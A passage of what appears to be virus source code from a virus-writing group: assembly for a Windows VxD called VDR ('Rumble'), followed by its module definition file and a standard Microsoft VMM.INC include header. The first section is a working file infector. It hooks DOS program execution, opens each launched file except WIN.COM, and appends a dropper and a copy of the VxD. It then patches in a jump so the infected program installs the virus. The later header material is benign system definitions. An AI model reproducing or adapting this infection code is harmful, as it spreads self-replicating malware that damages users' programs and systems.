mov eax,3e00h   
vxdint 21h

mov eax,21h ;install int 21h handler
mov esi,offset32 int_21hnd
VMMcall Hook_V86_Int_Chain

e:
clc
ret
EndProc VDR_Device_Init

BeginProc int_21hnd
cmp [ebp.Client_AX],4b00h   ;exec?  
jne reflect_21h

Push_Client_State          
VMMcall Begin_Nest_Exec    

movzx edx,[ebp.Client_DS]
shl edx,4
movzx eax,[ebp.Client_DX]
add edx,eax
add edx,[ebx.CB_High_Linear]

push edi    ;from JHB of iKx   
mov edi,edx       
mov ecx,128
mov al,0    ;(?)
repne scasb                            
dec edi

w1: dec edi
cmp byte ptr [edi],'\'
je short w2
cmp byte ptr [edi],'/'
je short w2
cmp byte ptr [edi],':'
je short w2
cmp edi,edx
jb short w2
jmp short w1

w2: inc edi 
mov esi,offset32 [exec] ;check if win.com
movzx ecx,[execl]       
repe cmpsb
pop edi
jz exit

mov eax,3d22h   ;open file
vxdint 21h
jc exit
xchg eax,ebx

mov eax,3f00h   ;check if its a com file
mov ecx,2
lea edx,rbuf
vxdint 21h
cmp word ptr [rbuf],'ZM'  
je cfile    

;mov eax,3f00h   ;check if its a test file
;mov ecx,2
;lea edx,rbuf
;vxdint 21h
;cmp word ptr [rbuf],'ER'  
;jne cfile    
;mov eax,4200h
;xor ecx,ecx
;xor edx,edx
;vxdint 21h

;search for returncode ('�L�')
rfile:
mov eax,3f00h
mov ecx,1
lea edx,rbuf
vxdint 21h
or eax,eax  ;or ax,ax
je cfile
cmp [rbuf],'�'
jne rfile
mov eax,3f00h
mov ecx,2
lea edx,rbuf
vxdint 21h
cmp word ptr [rbuf],'�L'
jne rfile

;calculate jmp to dropper
mov eax,4201h
xor ecx,ecx
xor edx,edx
vxdint 21h
push eax ;save offset

mov eax,4202h
xor ecx,ecx
xor edx,edx
vxdint 21h
mov [djmp],ax

mov eax,4000h   ;write dropper
mov ecx,303
lea edx,drop1
vxdint 21h

mov eax,4000h   ;write stpl1
mov ecx,26
lea edx,stpl1
vxdint 21h

mov eax,4000h   ;write stpl2
mov ecx,30
lea edx,stpl2
vxdint 21h

mov eax,4000h   ;write stpl3
mov ecx,24
lea edx,stpl3
vxdint 21h

mov eax,4000h   ;write second part of dropper
mov ecx,17
lea edx,drop2
vxdint 21h

mov eax,4000h   ;write vxd
mov ecx,5150
lea edx,store
vxdint 21h

pop eax
push eax
sub [djmp],ax ;[]
pop eax
sub eax,3    ;goto begin of jmp
mov edx,eax
mov eax,4200h
xor ecx,ecx
vxdint 21h

mov ax,[djmp]   ;write jmp
;sub ax,5547
mov word ptr [njmp + 1],ax
mov eax,4000h
mov ecx,3
lea edx,njmp
vxdint 21h

cfile:
mov eax,3e00h
vxdint 21h

exit:
VMMcall End_Nest_Exec    
Pop_Client_State         

reflect_21h:      
stc
ret
EndProc int_21hnd

BeginProc VDR_Control
Control_Dispatch Init_Complete,VDR_Device_Init
clc  
ret
EndProc VDR_Control
VxD_Locked_Code_Ends

VxD_Real_Init_Seg
BeginProc VDR_Real_Mode_Init
xor bx,bx       
xor si,si       
mov ax,Device_Load_Ok
ret
EndProc VDR_Real_Mode_Init
VxD_Real_Init_Ends
End 

����������������������������������������������������������������������������Ŀ
� File: VDR.DEF                                                              �
������������������������������������������������������������������������������
library VDR
description '*Rumble*'
exetype dev386
segments
_ltext preload nondiscardable
_ldata preload nondiscardable
_itext class 'icode' discardable
_idata class 'icode' discardable
_text class 'pcode' nondiscardable
_data class 'pcode' nondiscardable
exports VDR_DDB @1

����������������������������������������������������������������������������Ŀ
� File: VMM.INC                                                              �
������������������������������������������������������������������������������
;******************************************************************************
;
;   (C) Copyright MICROSOFT Corp., 1988-1990
;
;   Title:	VMM.INC - Include file for Virtual Machine Manager
;
;   Version:	1.00
;
;   Date:	05-May-1988
;
;   Author:	RAL
;
;------------------------------------------------------------------------------
;
;   Change log:
;
;      DATE	REV		    DESCRIPTION
;   ----------- --- -----------------------------------------------------------
;   05-May-1988 RAL Original
;
;==============================================================================


; NON Windows/386 Virtual Device sources can include this file to get some
; useful equates by declaring the symbol "Not_VxD"  If this symbol is defined,
; then everything that has to do with the specifics of the 32 bit environment
; for virtual devices is removed.  Useful equates include:  device ID's, pushad
; structure, BeginDoc/EndDoc/BeginMsg/EndMsg equates, page table equates, etc.



False	EQU	0
True	EQU	NOT False

;
;   These null macros are recognized by a utility program that produces
;   documentation files.
;
BeginDoc EQU <>
EndDoc EQU <>

BeginMsg EQU <>
EndMsg EQU <>


BeginDoc
;******************************************************************************
;
;			EQUATES FOR REQUIRED DEVICES
;
;==============================================================================

Undefined_Device_ID		EQU	00000h
VMM_Device_ID			EQU	00001h	; Used for dynalink table
Debug_Device_ID 		EQU	00002h
VPICD_Device_ID 		EQU	00003h
VDMAD_Device_ID 		EQU	00004h
VTD_Device_ID			EQU	00005h
V86MMGR_Device_ID		EQU	00006h
PageSwap_Device_ID		EQU	00007h
Parity_Device_ID		EQU	00008h
Reboot_Device_ID		EQU	00009h
VDD_Device_ID			EQU	0000Ah
VSD_Device_ID			EQU	0000Bh
VMD_Device_ID			EQU	0000Ch
VKD_Device_ID			EQU	0000Dh
VCD_Device_ID			EQU	0000Eh
VPD_Device_ID			EQU	0000Fh
BlockDev_Device_ID		EQU	00010h
VMCPD_Device_ID 		EQU	00011h
EBIOS_Device_ID 		EQU	00012h
BIOSXlat_Device_ID		EQU	00013h
VNETBIOS_Device_ID		EQU	00014h
DOSMGR_Device_ID		EQU	00015h
WINLOAD_Device_ID		EQU	00016h
SHELL_Device_ID 		EQU	00017h
VMPoll_Device_ID		EQU	00018h
VPROD_Device_ID 		EQU	00019h
DOSNET_Device_ID		EQU	0001Ah
VFD_Device_ID			EQU	0001Bh
VDD2_Device_ID			EQU	0001Ch	; Secondary display adapter
WINDEBUG_Device_ID		EQU	0001Dh
TSRLoad_Device_ID		EQU	0001Eh	; TSR instance utility ID
BiosHook_Device_ID		EQU	0001Fh	; Bios interrupt hooker VxD
Int13_Device_ID 		EQU	00020h
PageFile_Device_ID		EQU	00021h	; Paging File device
SCSI_Device_ID			EQU     00022h  ; SCSI device
MCA_POS_Device_ID		EQU     00023h  ; MCA_POS device
SCSIFD_Device_ID		EQU	00024h	; SCSI FastDisk device
VPEND_Device_ID 		EQU	00025h	; Pen device
APM_Device_ID			EQU	00026h	; Power Management device

;
;   Initialization order equates.  Devices are initialized in order from
;   LOWEST to HIGHEST.	If 2 or more devices have the same initialization
;   order value, then they are initialized in order of occurance, so a
;   specific order is not guaranteed.  Holes have been left to allow maximum
;   flexibility in ordering devices.
;

VMM_Init_Order			EQU	000000000h
APM_Init_Order			EQU	001000000h
Debug_Init_Order		EQU	004000000h
BiosHook_Init_Order		EQU	006000000h
VPROD_Init_Order		EQU	008000000h
VPICD_Init_Order		EQU	00C000000h
VTD_Init_Order			EQU	014000000h
PageFile_Init_Order		EQU	018000000h
PageSwap_Init_Order		EQU	01C000000h
Parity_Init_Order		EQU	020000000h
Reboot_Init_Order		EQU	024000000h
EBIOS_Init_Order		EQU	026000000h
VDD_Init_Order			EQU	028000000h
VSD_Init_Order			EQU	02C000000h
VCD_Init_Order			EQU	030000000h
VMD_Init_Order			EQU	034000000h
VKD_Init_Order			EQU	038000000h
VPD_Init_Order			EQU	03C000000h
BlockDev_Init_Order		EQU	040000000h
MCA_POS_Init_Order		EQU	041000000h
SCSIFD_Init_Order		EQU	041400000h
SCSIMaster_Init_Order	        EQU     041800000h
Int13_Init_Order		EQU	042000000h
VFD_Init_Order			EQU	044000000h
VMCPD_Init_Order		EQU	048000000h
BIOSXlat_Init_Order		EQU	050000000h
VNETBIOS_Init_Order		EQU	054000000h
DOSMGR_Init_Order		EQU	058000000h
DOSNET_Init_Order		EQU	05C000000h
WINLOAD_Init_Order		EQU	060000000h
VMPoll_Init_Order		EQU	064000000h

Undefined_Init_Order		EQU	080000000h

WINDEBUG_Init_Order		EQU	081000000h
VDMAD_Init_Order		EQU	090000000h
V86MMGR_Init_Order		EQU	0A0000000h

Undef_Touch_Mem_Init_Order	EQU	0A8000000h  ; Device that must touch
						    ; memory in 1st Mb at
						    ; crit init (after V86mmgr)
SHELL_Init_Order		EQU	0B0000000h
EndDoc

;******************************************************************************
;
;   Macro to cause a delay in between I/O accesses to the same device.
;
;------------------------------------------------------------------------------

IO_Delay    macro
jmp $+2
ENDM

Pushad_Struc	STRUC
Pushad_EDI	dd	?		; Client's EDI
Pushad_ESI	dd	?		; Client's ESI
Pushad_EBP	dd	?		; Client's EBP
Pushad_ESP	dd	?		; ESP at pushall
Pushad_EBX	dd	?		; Client's EBX
Pushad_EDX	dd	?		; Client's EDX
Pushad_ECX	dd	?		; Client's ECX
Pushad_EAX	dd	?		; Client's EAX
Pushad_Struc	ENDS



IFNDEF Not_VxD

??_CUR_CODE_SEG = 0


??_CODE  = 1
??_ICODE = 2
??_LCODE = 3
??_RCODE = 4

?_CODE	equ <(??_CUR_CODE_SEG MOD 8) - ??_CODE>
?_ICODE equ <(??_CUR_CODE_SEG MOD 8) - ??_ICODE>
?_LCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_LCODE>
?_RCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_RCODE>

;
;  SEGMENT definitions and order
;

;*	32 Bit locked code
_LTEXT		SEGMENT DWORD USE32 PUBLIC 'CODE'
_LTEXT		ENDS

;*	32 Bit code
_TEXT		SEGMENT DWORD USE32 PUBLIC 'PCODE'
_TEXT		ENDS

;*	32 Bit initialization code
_ITEXT		SEGMENT DWORD USE32 PUBLIC 'ICODE'
_ITEXT		ENDS

;*	Contains 32 Bit locked data
_LDATA		SEGMENT DWORD PUBLIC 'CODE'
_LDATA		ENDS

;*	Contains 32 Bit data
_DATA		SEGMENT DWORD PUBLIC 'PCODE'
_DATA		ENDS

;*	Contains 32 Bit initialization data
_IDATA		SEGMENT DWORD PUBLIC 'ICODE'
_IDATA		ENDS

;*	Real Mode initialization code/data for devices
_RCODE		SEGMENT WORD USE16 PUBLIC 'RCODE'
_RCODE		ENDS


_LGROUP GROUP _LTEXT, _LDATA
_PGROUP GROUP _TEXT, _DATA
_IGROUP GROUP _ITEXT, _IDATA

	ASSUME CS:FLAT, DS:FLAT, ES:FLAT, SS:FLAT


OFFSET32 EQU <OFFSET FLAT:>


BeginDoc
;==============================================================================
; The following macros are used in defining the routines
;   in a VxD which are going to be registered with VMM as callable entry
;   points. Once registered, the entry points can be called by any other
;   devices via the "VxDCall" macro, defined below. In the comments below,
;   replace "VxD" with the appropriate device name.
;
;*******
;   In the VxD.INC file, put the following lines, replacing <function_name>
;	with an appropriate name describing the function of the routine.
;
;	Begin_Service_Table VxD[,<segname>]
;	VxD_Service <function_name>[,<local segname>]
;	VxD_Service <function_name>[,<local segname>]
;		. . .
;	VxD_Service <function_name>[,<local segname>]
;	End_Service_Table   VxD[,<segname>]
;
;   Note that <segname> is an optional argument and, if specified, the
;	table is put in the segment defined by the macro "yyy_Data_Seg",
;	where yyy=segname. Otherwise the segment is defined by the
;	"VxD_Data_Seg" macro, defined below.
;   Note that <local segname> is an optional argument and, if specified,
;	the procedure's segment is defined by the macro "zzz_Code_Seg",
;	where zzz=segname. Otherwise the segment is defined by the
;	"VxD_Code_Seg" macro, defined below.
;
;*******
; One VxD module should have the following in order to define the entry points:
;Create_VxD_Service_Table = 1			; Only in module where table is
;	INCLUDE     VxD.INC			; Include the table definition
;
;*******
; All modules that want to call the services defined in the table should include
;   VxD.INC, but not define the label "Create_VxD_Service_Table". This
;   will define the service names to be used with the VxDCall macro.
;
EndDoc

Begin_Service_Table MACRO Device_Name, Def_Segment
IFB <Def_Segment>
	BST2 Device_Name, VxD
ELSE
	BST2 Device_Name, Def_Segment
ENDIF
	ENDM


BST2 MACRO Device_Name, Def_Segment

Num_&Device_Name&_Services = 0

IFDEF Create_&Device_Name&_Service_Table
Def_Segment&_LOCKED_DATA_SEG
Device_Name&_Service_Table LABEL DWORD

Device_Name&_Service MACRO Procedure, Local_Seg, Condition
LOCAL $&&Procedure
  IFNB <Condition>
  $&&Procedure MACRO extern
    IFDEF &Condition
      IFNB <extern>
	EXTRN	@&&Procedure:NEAR
      ELSE
	dd	OFFSET32 @&&Procedure
      ENDIF
    ELSE
      IFB <extern>
      dd      0
      ENDIF
    ENDIF
    ENDM
  ENDIF

  IFDIFI <Procedure>, <RESERVED>
    PUBLIC {body}amp;&Procedure
    IF1
    {body}amp;&Procedure LABEL DWORD
    ENDIF
    IFDIFI <Local_Seg>, <LOCAL>
	IFNB <Local_Seg>
Local_Seg&&_SEG
	ELSE
Def_Segment&_CODE_SEG
	ENDIF
	IFNB <Condition>
	$&&Procedure extern
	ELSE
	EXTRN	@&&Procedure:NEAR
	ENDIF
	IFNB <Local_Seg>
Local_Seg&&_ENDS
	ELSE
Def_Segment&_CODE_ENDS
	ENDIF
    ENDIF
	IFNB <Condition>
	$&&Procedure
	ELSE
	dd	OFFSET32 @&&Procedure
	ENDIF
	Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services
  ELSE
	dd  0
  ENDIF
	Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1
  IFNB <Condition>
    Purge $&&Procedure
  ENDIF
	ENDM

ELSE

Device_Name&_Service MACRO Procedure
  IFDIFI <Procedure>, <RESERVED>
	Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services
  ENDIF
	Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1
	ENDM

ENDIF
	ENDM

;------------------------------------------------------------------------------

End_Service_Table MACRO Device_Name, Def_Segment

	PURGE	Device_Name&_Service

IFDEF Create_&Device_Name&_Service_Table
IFB <Def_Segment>
VxD_LOCKED_DATA_ENDS
ELSE
Def_Segment&_LOCKED_DATA_ENDS
ENDIF
ENDIF

	ENDM


;******************************************************************************
;
;   Dword_Align -- Aligns code to dword boundry by inserting nops
;
;------------------------------------------------------------------------------

Dword_Align MACRO Seg_Name
	LOCAL segn
IFNB <Seg_Name>
	segn equ Seg_Name
ELSE
IFE ?_CODE
	segn equ <_TEXT>
ELSE
IFE ?_ICODE
	segn equ <_ITEXT>
ELSE
IFE ?_LCODE
	segn equ <_LTEXT>
ELSE
.err Dword_Align not supported
ENDIF
ENDIF
ENDIF
ENDIF
IF (($-OFFSET segn:0) MOD 4)
db 4 - (($-OFFSET segn:0) MOD 4) DUP (90h)
ENDIF
	    ENDM


BeginDoc
;******************************************************************************
;
;   Fatal_Error
;
;   DESCRIPTION:
;	This macro is used to crash Windows/386 when an unrecoverable error
;	is detected.  If Msg_Ptr is ommitted then no error message will be
;	displayed, otherwise Msg_Ptr is the address
;	when the
;
;   PARAMETERS:
;	Msg_Ptr (OPTIONAL) - Points to an ASCIIZ string to display.
;
;   EXIT:
;	To DOS (hopefully).  This macro never returns.
;
;==============================================================================
EndDoc

Fatal_Error MACRO Msg_Ptr, Exit_Flags
	pushad
IFB <Msg_Ptr>
	xor	esi, esi
ELSE
	mov	esi, Msg_Ptr
IFB <Exit_Flags>
	xor	eax, eax
ELSE
	mov	eax, Exit_Flags
ENDIF
ENDIF
	VMMcall Fatal_Error_Handler
	ENDM

EF_Hang_On_Exit     EQU     1h


;******************************************************************************
;==============================================================================
;------------------------------------------------------------------------------

BeginDoc
;******************************************************************************
;   The following are control block offsets of items that can be of interest
;	to VxDs.
;*******
; VM status indicates globally interesting VM states
CB_VM_Status		EQU	DWORD PTR 00h

VMStat_Exclusive	EQU	000000000000000000001b	; VM is exclusive mode
VMStat_Exclusive_Bit	EQU	0
VMStat_Background	EQU	000000000000000000010b	; VM runs in background
VMStat_Background_Bit	EQU	1
VMStat_Creating 	EQU	000000000000000000100b	; In process of creating
VMStat_Creating_Bit	EQU	2
VMStat_Suspended	EQU	000000000000000001000b	; VM not scheduled
VMStat_Suspended_Bit	EQU	3
VMStat_Not_Executeable	EQU	000000000000000010000b	; VM partially destroyed
VMStat_Not_Executeable_Bit  EQU 4
VMStat_PM_Exec		EQU	000000000000000100000b	; Currently in PM app
VMStat_PM_Exec_Bit	EQU	5
VMStat_PM_App		EQU	000000000000001000000b	; PM app present in VM
VMStat_PM_App_Bit	EQU	6
VMStat_PM_Use32 	EQU	000000000000010000000b	; PM app is 32-bit
VMStat_PM_Use32_Bit	EQU	7
VMStat_VxD_Exec 	EQU	000000000000100000000b	; Call from VxD
VMStat_VxD_Exec_Bit	EQU	8
VMStat_High_Pri_Back	EQU	000000000001000000000b	; High pri background
VMStat_High_Pri_Back_Bit    EQU 9
VMStat_Blocked		EQU	000000000010000000000b	; Blocked on semaphore
VMStat_Blocked_Bit	EQU	0Ah
VMStat_Awakening	EQU	000000000100000000000b	; Woke up after blocked
VMStat_Awakening_Bit	EQU	0Bh
VMStat_PageableV86	EQU	000000001000000000000b	; part of V86 is pageable (PM app)
VMStat_PageableV86Bit	EQU	0Ch
VMStat_V86IntsLocked	EQU	000000010000000000000b	; Rest of V86 is locked
VMStat_V86IntsLockedBit EQU	0Dh			;  regardless of pager type
VMStat_TS_Sched 	EQU	000000100000000000000b	; Scheduled by time-slicer
VMStat_TS_Sched_Bit	EQU	0Eh
VMStat_Idle		EQU	000001000000000000000b	; VM has released time
VMStat_Idle_Bit 	EQU	0Fh			; slice
VMStat_Closing		EQU	000010000000000000000b	; Close_VM called for VM
VMStat_Closing_Bit	EQU	10h

VMStat_Use32_Mask	EQU	VMStat_PM_Use32 OR VMStat_VxD_Exec


;*******
; Add this value to a V86 linear address to get address of VM's memory in
;	the VMM linear address space
CB_High_Linear		EQU	DWORD PTR 04h

;*******
CB_Client_Pointer	EQU	DWORD PTR 08h

CB_VMID 		EQU	DWORD PTR 0Ch

;
;   Equates for protected mode application control blocks
;
PMCB_Flags		EQU	DWORD PTR 00h
PMCB_Parent		EQU	DWORD PTR 04h
EndDoc

;******************************************************************************
;			    V M M   S E R V I C E S
;******************************************************************************

Begin_Service_Table VMM, VMM

VMM_Service	Get_VMM_Version, LOCAL		; MUST REMAIN SERVICE 0!

VMM_Service	Get_Cur_VM_Handle
VMM_Service	Test_Cur_VM_Handle
VMM_Service	Get_Sys_VM_Handle
VMM_Service	Test_Sys_VM_Handle
VMM_Service	Validate_VM_Handle

VMM_Service	Get_VMM_Reenter_Count
VMM_Service	Begin_Reentrant_Execution
VMM_Service	End_Reentrant_Execution

VMM_Service	Install_V86_Break_Point
VMM_Service	Remove_V86_Break_Point
VMM_Service	Allocate_V86_Call_Back
VMM_Service	Allocate_PM_Call_Back

VMM_Service	Call_When_VM_Returns


VMM_Service	Schedule_Global_Event
VMM_Service	Schedule_VM_Event
VMM_Service	Call_Global_Event
VMM_Service	Call_VM_Event
VMM_Service	Cancel_Global_Event
VMM_Service	Cancel_VM_Event
VMM_Service	Call_Priority_VM_Event
VMM_Service	Cancel_Priority_VM_Event

VMM_Service	Get_NMI_Handler_Addr
VMM_Service	Set_NMI_Handler_Addr
VMM_Service	Hook_NMI_Event

VMM_Service	Call_When_VM_Ints_Enabled
VMM_Service	Enable_VM_Ints
VMM_Service	Disable_VM_Ints

VMM_Service	Map_Flat
VMM_Service	Map_Lin_To_VM_Addr

;
;   Scheduler services
;
VMM_Service	Adjust_Exec_Priority
VMM_Service	Begin_Critical_Section
VMM_Service	End_Critical_Section
VMM_Service	End_Crit_And_Suspend
VMM_Service	Claim_Critical_Section
VMM_Service	Release_Critical_Section
VMM_Service	Call_When_Not_Critical
VMM_Service	Create_Semaphore
VMM_Service	Destroy_Semaphore
VMM_Service	Wait_Semaphore
VMM_Service	Signal_Semaphore
VMM_Service	Get_Crit_Section_Status
VMM_Service	Call_When_Task_Switched
VMM_Service	Suspend_VM
VMM_Service	Resume_VM
VMM_Service	No_Fail_Resume_VM
VMM_Service	Nuke_VM
VMM_Service	Crash_Cur_VM

VMM_Service	Get_Execution_Focus
VMM_Service	Set_Execution_Focus
VMM_Service	Get_Time_Slice_Priority
VMM_Service	Set_Time_Slice_Priority
VMM_Service	Get_Time_Slice_Granularity
VMM_Service	Set_Time_Slice_Granularity
VMM_Service	Get_Time_Slice_Info
VMM_Service	Adjust_Execution_Time
VMM_Service	Release_Time_Slice
VMM_Service	Wake_Up_VM
VMM_Service	Call_When_Idle

VMM_Service	Get_Next_VM_Handle

;
;   Time-out and system timer services
;
VMM_Service	Set_Global_Time_Out
VMM_Service	Set_VM_Time_Out
VMM_Service	Cancel_Time_Out
VMM_Service	Get_System_Time
VMM_Service	Get_VM_Exec_Time

VMM_Service	Hook_V86_Int_Chain
VMM_Service	Get_V86_Int_Vector
VMM_Service	Set_V86_Int_Vector
VMM_Service	Get_PM_Int_Vector
VMM_Service	Set_PM_Int_Vector

VMM_Service	Simulate_Int
VMM_Service	Simulate_Iret
VMM_Service	Simulate_Far_Call
VMM_Service	Simulate_Far_Jmp
VMM_Service	Simulate_Far_Ret
VMM_Service	Simulate_Far_Ret_N
VMM_Service	Build_Int_Stack_Frame

VMM_Service	Simulate_Push
VMM_Service	Simulate_Pop

;
; Heap Manager
;
VMM_Service	_HeapAllocate
VMM_Service	_HeapReAllocate
VMM_Service	_HeapFree
VMM_Service	_HeapGetSize

; ---------------------------------------------------
;
;	 Flags for heap allocator calls
;
; ---------------------------------------------------


HeapZeroInit	equ	00000000000000000000000000000001B
HeapZeroReInit	equ	00000000000000000000000000000010B
HeapNoCopy	equ	00000000000000000000000000000100B

; NOTE: HIGH 8 BITS (bits 24-31) are reserved


;
; Page Manager
;
VMM_Service	_PageAllocate
VMM_Service	_PageReAllocate
VMM_Service	_PageFree
VMM_Service	_PageLock
VMM_Service	_PageUnLock
VMM_Service	_PageGetSizeAddr
VMM_Service	_PageGetAllocInfo
VMM_Service	_GetFreePageCount
VMM_Service	_GetSysPageCount
VMM_Service	_GetVMPgCount
VMM_Service	_MapIntoV86
VMM_Service	_PhysIntoV86
VMM_Service	_TestGlobalV86Mem
VMM_Service	_ModifyPageBits
VMM_Service	_CopyPageTable
VMM_Service	_LinMapIntoV86
VMM_Service	_LinPageLock
VMM_Service	_LinPageUnLock
VMM_Service	_SetResetV86Pageable
VMM_Service	_GetV86PageableArray
VMM_Service	_PageCheckLinRange
VMM_Service	_PageOutDirtyPages
VMM_Service	_PageDiscardPages

; ---------------------------------------------------
;
;	 Flags for other page allocator calls
;
; ---------------------------------------------------
PageZeroInit		equ	00000000000000000000000000000001B
PageUseAlign		equ	00000000000000000000000000000010B
PageContig		equ	00000000000000000000000000000100B
PageFixed		equ	00000000000000000000000000001000B
PageDEBUGNulFault	equ	00000000000000000000000000010000B
PageZeroReInit		equ	00000000000000000000000000100000B
PageNoCopy		equ	00000000000000000000000001000000B
PageLocked		equ	00000000000000000000000010000000B
PageLockedIfDP		equ	00000000000000000000000100000000B
PageSetV86Pageable	equ	00000000000000000000001000000000B
PageClearV86Pageable	equ	00000000000000000000010000000000B
PageSetV86IntsLocked	equ	00000000000000000000100000000000B
PageClearV86IntsLocked	equ	00000000000000000001000000000000B
PageMarkPageOut 	equ	00000000000000000010000000000000B
PagePDPSetBase		equ	00000000000000000100000000000000B
PagePDPClearBase	equ	00000000000000001000000000000000B
PageDiscard		equ	00000000000000010000000000000000B
PagePDPQueryDirty	equ	00000000000000100000000000000000B
;
; New for 3.10
;
PageMapFreePhysReg	equ	00000000000001000000000000000000B



; NOTE: HIGH 8 BITS (bits 24-31) are reserved

;
; Informational services
;
VMM_Service	_GetNulPageHandle
VMM_Service	_GetFirstV86Page
VMM_Service	_MapPhysToLinear
VMM_Service	_GetAppFlatDSAlias
VMM_Service	_SelectorMapFlat
VMM_Service	_GetDemandPageInfo
;
; Data structure for _GetDemandPageInfo
;
DemandInfoStruc struc
DILin_Total_Count     dd	      ?       ; # pages in linear address space
DIPhys_Count	      dd	      ?       ; Count of phys pages
DIFree_Count	      dd	      ?       ; Count of free phys pages
DIUnlock_Count	      dd	      ?       ; Count of unlocked Phys Pages
DILinear_Base_Addr    dd	      ?       ; Base of pageable address space
DILin_Total_Free      dd	      ?       ; Total Count of free linear pages
DIReserved	      dd      10 dup (?)      ; Resvd for expansion
DemandInfoStruc ends

VMM_Service	_GetSetPageOutCount
;
; Flags bits for _GetSetPageOutCount
;
GSPOC_F_Get	equ	00000000000000000000000000000001B

;
; Device VM page manager
;
VMM_Service	Hook_V86_Page
VMM_Service	_Assign_Device_V86_Pages
VMM_Service	_DeAssign_Device_V86_Pages
VMM_Service	_Get_Device_V86_Pages_Array
VMM_Service	MMGR_SetNULPageAddr

;
; GDT/LDT management
;
VMM_Service	_Allocate_GDT_Selector
VMM_Service	_Free_GDT_Selector
VMM_Service	_Allocate_LDT_Selector
VMM_Service	_Free_LDT_Selector
VMM_Service	_BuildDescriptorDWORDs
;
; Flag equates for _BuildDescriptorDWORDs
;
BDDExplicitDPL	EQU	00000000000000000000000000000001B
;
; Flag equates for _Allocate_LDT_Selector
;
ALDTSpecSel	EQU	00000000000000000000000000000001B

VMM_Service	_GetDescriptor
VMM_Service	_SetDescriptor


VMM_Service	_MMGR_Toggle_HMA
;
; Flag equates for _MMGR_Toggle_HMA
;
MMGRHMAPhysical EQU	00000000000000000000000000000001B
MMGRHMAEnable	EQU	00000000000000000000000000000010B
MMGRHMADisable	EQU	00000000000000000000000000000100B
MMGRHMAQuery	EQU	00000000000000000000000000001000B


VMM_Service	Get_Fault_Hook_Addrs
VMM_Service	Hook_V86_Fault
VMM_Service	Hook_PM_Fault
VMM_Service	Hook_VMM_Fault
VMM_Service	Begin_Nest_V86_Exec
VMM_Service	Begin_Nest_Exec
VMM_Service	Exec_Int
VMM_Service	Resume_Exec
VMM_Service	End_Nest_Exec

VMM_Service	Allocate_PM_App_CB_Area, VMM_ICODE
VMM_Service	Get_Cur_PM_App_CB

VMM_Service	Set_V86_Exec_Mode
VMM_Service	Set_PM_Exec_Mode

VMM_Service	Begin_Use_Locked_PM_Stack
VMM_Service	End_Use_Locked_PM_Stack

VMM_Service	Save_Client_State
VMM_Service	Restore_Client_State

VMM_Service	Exec_VxD_Int

VMM_Service	Hook_Device_Service

VMM_Service	Hook_Device_V86_API
VMM_Service	Hook_Device_PM_API

VMM_Service	System_Control

;
;   I/O and software interrupt hooks
;
VMM_Service	Simulate_IO
VMM_Service	Install_Mult_IO_Handlers
VMM_Service	Install_IO_Handler
VMM_Service	Enable_Global_Trapping
VMM_Service	Enable_Local_Trapping
VMM_Service	Disable_Global_Trapping
VMM_Service	Disable_Local_Trapping


;
;   Linked List Abstract Data Type Services
;
VMM_Service	List_Create
VMM_Service	List_Destroy
VMM_Service	List_Allocate
VMM_Service	List_Attach
VMM_Service	List_Attach_Tail
VMM_Service	List_Insert
VMM_Service	List_Remove
VMM_Service	List_Deallocate
VMM_Service	List_Get_First
VMM_Service	List_Get_Next
VMM_Service	List_Remove_First

;
;   Flags used by List_Create
;
LF_Async		EQU	00000001b
LF_Async_Bit		EQU	0
LF_Use_Heap		EQU	00000010b
LF_Use_Heap_Bit 	EQU	1
LF_Alloc_Error		EQU	00000100b
LF_Alloc_Error_Bit	EQU	2


;==============================================================================
;	I N I T I A L I Z A T I O N   P R O C E D U R E S
;------------------------------------------------------------------------------


;
; Instance data manager
;
VMM_Service	_AddInstanceItem
;
; Data structure for _AddInstanceItem
;
InstDataStruc struc
InstLinkF	      dd	      0       ; RESERVED SET TO 0
InstLinkB	      dd	      0       ; RESERVED SET TO 0
InstLinAddr	      dd	      ?       ; Linear address of start of block
InstSize	      dd	      ?       ; Size of block in bytes
InstType	      dd	      ?       ; Type of block
InstDataStruc ends
;
; Values for InstType
;
INDOS_Field	equ	100h	; Bit indicating INDOS switch requirements
ALWAYS_Field	equ	200h	; Bit indicating ALWAYS switch requirements

;
; System structure data manager
;
VMM_Service	_Allocate_Device_CB_Area, VMM_ICODE
VMM_Service	_Allocate_Global_V86_Data_Area, VMM_ICODE
VMM_Service	_Allocate_Temp_V86_Data_Area, VMM_ICODE
VMM_Service	_Free_Temp_V86_Data_Area, VMM_ICODE

;
; Flag bits for _Allocate_Global_V86_Data_Area
;
GVDAWordAlign		EQU		00000000000000000000000000000001B
GVDADWordAlign		EQU		00000000000000000000000000000010B
GVDAParaAlign		EQU		00000000000000000000000000000100B
GVDAPageAlign		EQU		00000000000000000000000000001000B
GVDAInstance		EQU		00000000000000000000000100000000B
GVDAZeroInit		EQU		00000000000000000000001000000000B
GVDAReclaim		EQU		00000000000000000000010000000000B
;
; New for 3.10
;
GVDAInquire		EQU		00000000000000000000100000000000B
GVDAHighSysCritOK	EQU		00000000000000000001000000000000B

;
; Initialization information calls (win.ini and environment parameters)
;
VMM_Service	Get_Profile_Decimal_Int, VMM_ICODE
VMM_Service	Convert_Decimal_String, VMM_ICODE
VMM_Service	Get_Profile_Fixed_Point, VMM_ICODE
VMM_Service	Convert_Fixed_Point_String, VMM_ICODE
VMM_Service	Get_Profile_Hex_Int, VMM_ICODE
VMM_Service	Convert_Hex_String, VMM_ICODE
VMM_Service	Get_Profile_Boolean, VMM_ICODE
VMM_Service	Convert_Boolean_String, VMM_ICODE
VMM_Service	Get_Profile_String, VMM_ICODE
VMM_Service	Get_Next_Profile_String, VMM_ICODE
VMM_Service	Get_Environment_String, VMM_ICODE
VMM_Service	Get_Exec_Path, VMM_ICODE
VMM_Service	Get_Config_Directory, VMM_ICODE
VMM_Service	OpenFile, VMM_ICODE
VMM_Service	Get_PSP_Segment, VMM_ICODE
VMM_Service	GetDOSVectors, VMM_ICODE
VMM_Service	Get_Machine_Info

GMIF_80486	EQU	00010000h
GMIF_80486_Bit	EQU	10h
GMIF_PCXT	EQU	00020000h
GMIF_PCXT_Bit	EQU	11h
GMIF_MCA	EQU	00040000h
GMIF_MCA_Bit	EQU	12h
GMIF_EISA	EQU	00080000h
GMIF_EISA_Bit	EQU	13h


;
